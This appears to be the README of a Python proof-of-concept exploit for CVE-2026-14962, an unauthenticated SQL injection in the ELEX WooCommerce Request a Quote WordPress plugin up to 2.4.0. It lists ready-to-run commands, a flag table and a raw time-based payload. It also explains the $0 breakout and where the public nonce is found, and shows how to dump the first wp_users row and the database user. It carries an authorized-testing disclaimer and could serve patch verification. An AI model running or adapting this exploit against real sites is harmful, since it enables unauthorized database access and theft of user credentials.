cflowsec/cve-2026-14962Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection
Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection
ELEX WooCommerce Request a Quote (WordPress plugin elex-request-a-quote) ≤ 2.4.0 — unauthenticated SQL injection via the public elex_raq_add_to_quote AJAX action.
For authorized testing only. Do not run this against systems you do not own or have permission to test.
Requires: Python 3, standard library only. Target must be running WooCommerce (the quote scripts/nonce are printed on the shop/home page).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Flag | What it does |
|---|
-u / --url | WordPress site root (required). http:// or https://; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically. --insecure skips verify from the start |
--test | Guest: plugin version + public nonce, then a non-destructive $0 SQL probe |
--dump | First wp_users row + DB user. Needs WP_DEBUG so the XPATH error is in the HTTP body |
--query SQL | Your own SQL expression (no single quotes; use 0x… hex for strings) |
--sql EXPR | Raw data[id] after the $0$0 breakout (you write the ) OR … # gadget) |
--sleep N | Time-based SLEEP(N) attempt |
--pid / --vid | WooCommerce product / variation ids (variation must be non-empty to hit the sink) |
--insecure | Skip TLS verify |
--timeout | HTTP timeout seconds (default 30) |
Unauthenticated. The nonce is printed in request_a_quote_ajax_obj on / and /shop/. The guest cookie is request_a_quote_user_coockie (the plugin’s spelling).
--test POSTs attribute_value=$0. Vulnerable 2.4.0 preg_replace treats $0 as the %s match and leaves a literal %d in the query. 2.4.1 binds JSON_CONTAINS and $0 is only a JSON value.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Plugin changelog 2.4.1.
